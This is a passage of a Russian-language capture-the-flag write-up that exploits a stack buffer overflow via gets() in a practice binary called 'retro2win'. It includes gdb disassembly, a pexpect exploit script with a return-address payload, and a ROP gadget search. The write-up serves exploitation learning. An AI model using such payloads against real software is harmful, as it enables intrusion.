\u0417\u0434\u0435\u0441\u044c \u044f \u0437\u043d\u0430\u0442\u043d\u043e \u0442\u0430\u043a \u043e\u0444\u0438\u0433\u0435\u043b. \u0421\u0440\u0430\u0437\u0443 \u0432 \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u0440\u043e\u043c\u0435\u043b\u044c\u043a\u043d\u0443\u043b\u0430 \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431 \u043e\u043d \u043e\u0431\u043e\u0448\u0435\u043b \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0447\u0430\u043b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0438 CHEAT MODE ACTIVATED!<\/code> ? \u042f \u0432\u0437\u044f\u043b\u0441\u044f \u0437\u0430 \u044d\u0442\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443. <\/p>\n
\u041d\u0430\u0448\u0430 cheat_mode<\/code> \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x00400736<\/code> . \u0418 \u044d\u0442\u043e, \u0431\u043b\u0438\u043d, \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u043d\u0435 \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441! \u0418\u0437-\u0437\u0430 07 \u0438 null-\u0431\u0430\u0439\u0442\u043e\u0432 \u0432 \u044d\u0442\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0435 \u043c\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0445. \u0412\u0441\u0435 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 python. <\/p>\n
\u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u0430, \u0433\u0434\u0435 \u043c\u044b \u043e\u0431\u043e\u0439\u0434\u0435\u043c \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 0x0040076a<\/code> .<\/p>\n
\"\"<\/figure>\n
\u0427\u0442\u043e\u0431\u044b \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0443. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f gets<\/code> \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 \u0440\u0430\u0431\u043e\u0447\u0430\u044f, \u0438 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043a\u0443\u0441\u043e\u0447\u0435\u043a \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0430 \u0441\u0442\u0435\u043a \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u043c\u044b \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u043c.<\/p>\n
\u0414\u043b\u044f \u0440\u0430\u0441\u0441\u0447\u0435\u0442\u043e\u0432 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0439\u0442\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0447\u0438\u0442-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442 \u0431\u0443\u0444\u0435\u0440. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 enter_cheatcode<\/code> \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x0000000000400827<\/code> \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f nop<\/code> \u2014 \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u0441\u043b\u0435 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u041d\u0430 \u043d\u0435\u0439 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c breakpoint.<\/p>\n
tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ gdb retro2win  GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http:\/\/gnu.org\/licenses\/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: <https:\/\/www.gnu.org\/software\/gdb\/bugs\/>. Find the GDB manual and other documentation resources online at:     <http:\/\/www.gnu.org\/software\/gdb\/documentation\/>.  For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) disass enter_cheatcode Dump of assembler code for function enter_cheatcode:    0x00000000004007ee <+0>:push   rbp    0x00000000004007ef <+1>:mov    rbp,rsp    0x00000000004007f2 <+4>:sub    rsp,0x10    0x00000000004007f6 <+8>:mov    edi,0x400a99    0x00000000004007fb <+13>:call   0x4005a0 <puts@plt>    0x0000000000400800 <+18>:lea    rax,[rbp-0x10]    0x0000000000400804 <+22>:mov    rdi,rax    0x0000000000400807 <+25>:mov    eax,0x0    0x000000000040080c <+30>:call   0x400600 <gets@plt>    0x0000000000400811 <+35>:lea    rax,[rbp-0x10]    0x0000000000400815 <+39>:mov    rsi,rax    0x0000000000400818 <+42>:mov    edi,0x400aaf    0x000000000040081d <+47>:mov    eax,0x0    0x0000000000400822 <+52>:call   0x4005c0 <printf@plt>    0x0000000000400827 <+57>:nop    0x0000000000400828 <+58>:leave    0x0000000000400829 <+59>:ret End of assembler dump. (gdb) break *0x0000000000400827 Breakpoint 1 at 0x400827 (gdb) run Starting program: \/home\/tkchk\/Documents\/pwn\/retro2win\/challenge\/retro2win  [Thread debugging using libthread_db enabled] Using host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\". ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 11111111 Checking cheatcode: 11111111!  Breakpoint 1, 0x0000000000400827 in enter_cheatcode () (gdb) x\/10xg $rsp 0x7fffffffdd20:0x31313131313131310x0000000000000000 0x7fffffffdd30:0x00007fffffffdd500x0000000000400939 0x7fffffffdd40:0x00007fffffffde300x00000539ffffde78 0x7fffffffdd50:0x00007fffffffddf00x00007ffff7c2a1ca 0x7fffffffdd60:0x00007fffffffdda00x00007fffffffde78<\/code><\/pre>\n
\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0441\u0442\u0435\u043a \u0447\u0435\u0440\u0435\u0437 x\/10xg $rsp<\/code> . \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0x0000000000400939<\/code>  \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u2014 \u043e\u043d\u043e \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e main<\/code> \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 enter_cheatcode<\/code> . \u041f\u0435\u0440\u0435\u0434 \u044d\u0442\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0442\u0440\u0438 8-\u043c\u0438 \u0431\u0430\u0439\u0442\u043d\u044b\u0445 \u0447\u0438\u0441\u043b\u0430. \u041d\u0430\u043c \u0442\u0430\u043a\u0436\u0435 \u0432\u0438\u0434\u043d\u044b \u043d\u0430\u0448\u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0435\u0434\u0438\u043d\u0438\u0446\u044b. \u0427\u0442\u043e \u0436\u0435, 3*8=24. 24 \u0431\u0430\u0439\u0442\u0430 \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0438\u0441\u043a\u043e\u043c\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438.<\/p>\n
\u0414\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 pexpect. \u041d\u0430\u043c \u0432\u0441\u0435\u0433\u043e \u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0441\u043f\u0430\u0432\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430, \u0438 \u043a\u0430\u043a-\u0442\u043e \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043d\u0430\u043c \u0448\u043b\u0435\u0442. \u041f\u043e\u0441\u043b\u0435 \u0444\u0440\u0430\u0437\u044b Enter your cheatcode:<\/code> \u043c\u044b \u0448\u043b\u0435\u043c \u043d\u0430\u0448 payload. \u0410\u0434\u0440\u0435\u0441, \u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0431\u0430\u0439\u0442 \u0438\u0437-\u0437\u0430 little endian \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b. \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0444\u0430\u0439\u043b\u0438\u043a pwn.py<\/code><\/p>\n
tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ cat pwn.py  import pexpect  child = pexpect.spawn('.\/retro2win') child.expect('Select an option:') child.sendline ('1337') child.expect('Enter your cheatcode:') child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\\x6a\\x07\\x40\\x00\\x00\\x00\\x00\\x00') print(child.before) child.interact()<\/code><\/pre>\n
\u0418, \u0431\u043b\u0438\u043d, \u043e\u043d\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u2014 \u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u0443\u0436\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u043e \u043a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0444\u043b\u0430\u0433\u0430 \u044f \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. <\/p>\n
tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ python3 pwn.py  b'\\r\\n1337\\r\\n'  AAAAAAAAAAAAAAAAAAAAAAAAj^G@^@^@^@^@^@ Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAAj@! CHEAT MODE ACTIVATED! You now have access to secret developer tools...<\/code><\/pre>\n
\u0417\u0434\u0435\u0441\u044c \u044f \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u043f\u043e\u043b\u043d\u044b\u043c \u0431\u0430\u0440\u0430\u043d\u043e\u043c. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u044d\u0442\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0435\u0448\u0430\u0442\u0441\u044f, \u0430 \u0432\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u044f \u0441\u043e\u0432\u0441\u0435\u043c \u0437\u0430\u0431\u044b\u043b \u043e \u0442\u0430\u043a\u043e\u0439 \u0432\u0430\u0436\u043d\u043e\u0439 \u0432\u0435\u0449\u0438 \u043a\u0430\u043a Function Prologue. Function Prologue \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0442\u0435\u043a\u0430 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0438 \u0435\u0441\u043b\u0438 \u043c\u044b \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u0443 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u043c. \u0414\u0430\u0431\u044b \u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043f\u043e\u0447\u0435\u043c\u0443 \u043c\u044b \u043d\u0435 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0444\u043b\u0430\u0433, \u044f \u0431 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0434\u0435\u0431\u0430\u0433\u0435\u0440, \u043d\u043e \u043c\u044b \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 python \u2014 \u043a\u0430\u043a \u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u0435\u0431\u0430\u0433\u0430 \u043c\u043d\u0435 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0435\u0441\u0442\u044c. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0432\u043e\u0442 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u044b \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0438\u043d\u0430\u0447\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043f\u043e\u043b\u0443\u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e. <\/p>\n
<\/figure>\n
\u0412 \u0438\u0442\u043e\u0433\u0435, \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u2014 \u044d\u0442\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043c\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043e\u0431\u043e\u0439\u0442\u0438.<\/p>\n
\u041a\u043e\u0440\u043e\u0447\u0435, \u043a\u043e\u043f\u0430\u043b\u0441\u044f \u044f \u0441 \u044d\u0442\u0438\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432, \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u0448\u0435\u043b \u0432\u043e\u0442 \u044d\u0442\u0443 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e<\/a> \u043e Return Oriented Programming. \u0422\u0430\u043c \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab2nd ROP Chain\u00bb \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043c\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438. \u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e ROP \u0433\u0430\u0434\u0436\u0435\u0442\u0430\u0445. ROP \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u2014 \u044d\u0442\u043e \u043c\u0435\u043b\u043a\u0438\u0435 \u043a\u0443\u0441\u043e\u0447\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043e\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0438\u043b\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u041d\u0430\u043c \u043d\u0443\u0436\u043d\u044b \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c\u0438 pop<\/code> \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c return<\/code>. \u0427\u0435\u0440\u0435\u0437 pop<\/code> \u043c\u044b \u0441\u043d\u0438\u043c\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u0435\u043a\u0430 (\u0430 \u043e\u043d \u0443 \u043d\u0430\u0441 \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c) \u0438 \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u0438\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b, \u0430 \u0447\u0435\u0440\u0435\u0437 return<\/code> \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u044b\u0433\u043d\u0435\u043c \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0432\u0435\u0440\u0448\u0438\u043d\u044b \u0441\u0442\u0435\u043a\u0430. \u0415\u0441\u043b\u0438 \u043c\u044b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u043c, \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0439\u0442\u0438\u0441\u044c \u043f\u043e \u043a\u043e\u0434\u0443 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u0438 \u043f\u043e\u0442\u043e\u043c \u043f\u0440\u044b\u0433\u043d\u0435\u043c \u043d\u0430 \u043d\u0430\u0448 cheat_mode<\/code>. \u041a\u0430\u043a \u0440\u0430\u0437 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0442\u0440\u0438\u0433\u0435\u0440\u043d\u0435\u043c return<\/code> , ROP Chain \u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f ROP Chain’\u043e\u043c \u2014 \u044d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0435 \u0432\u0438\u0434\u0435\u043d\u044c\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0430\u0448 \u0441\u0442\u0435\u043a \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b \u0435\u0433\u043e \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u043c (\u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430).<\/p>\n
<\/figure>\n
\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0439\u0434\u0435\u043c \u0433\u0430\u0434\u0436\u0435\u0442\u044b. \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043e\u043d\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c, \u044d\u0442\u043e \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043e \u0441\u0442\u0435\u043a\u0430 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u0434\u043b\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 x86, \u043f\u0435\u0440\u0432\u044b\u0439 \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b rsi<\/code> & rdi<\/code>. \u0414\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439 \u0435\u0441\u0442\u044c \u043a\u0443\u0447\u0430 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0441\u043e\u0431\u0440\u0430\u043d\u044b\u0439 \u043d\u0430 rust\u0435 ropr<\/a>.<\/p>\n
tkchk@laptop:~\/Downloads\/retro2win\/challenge$ ropr retro2win | grep pop\\ rsi  ==> Found 99 gadgets in 0.009 seconds 0x004009b1: pop rsi; pop r15; ret; tkchk@laptop:~\/Downloads\/retro2win\/challenge$ ropr retro2win | grep pop\\ rdi  ==> Found 99 gadgets in 0.010 seconds 0x004009b3: pop rdi; ret;<\/code><\/pre>\n
\u041d\u0430\u0448\u043b\u0438 \u0430\u0436 \u0446\u0435\u043b\u044b\u0445 99 \u0448\u0442\u0443\u043a, \u043d\u043e \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 pop rsi<\/code> & pop rdi<\/code> . \u0417\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043b\u0438\u0448\u043d\u0438\u0439 pop r15<\/code>. \u0418\u0437\u0431\u0430\u0432\u0438\u0442\u0441\u044f \u043e\u0442 \u043d\u0435\u0433\u043e \u043c\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0441 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0432\u0432\u043e\u0434\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 0x4242424242424242<\/code> . \u0423 \u043d\u0430\u0441 64-\u0445 \u0431\u0438\u0442\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u2014 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043c \u043d\u0430 8 \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u044b\u0445 \u0431\u0430\u0439\u0442. \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0435\u0431\u0435 \u0432 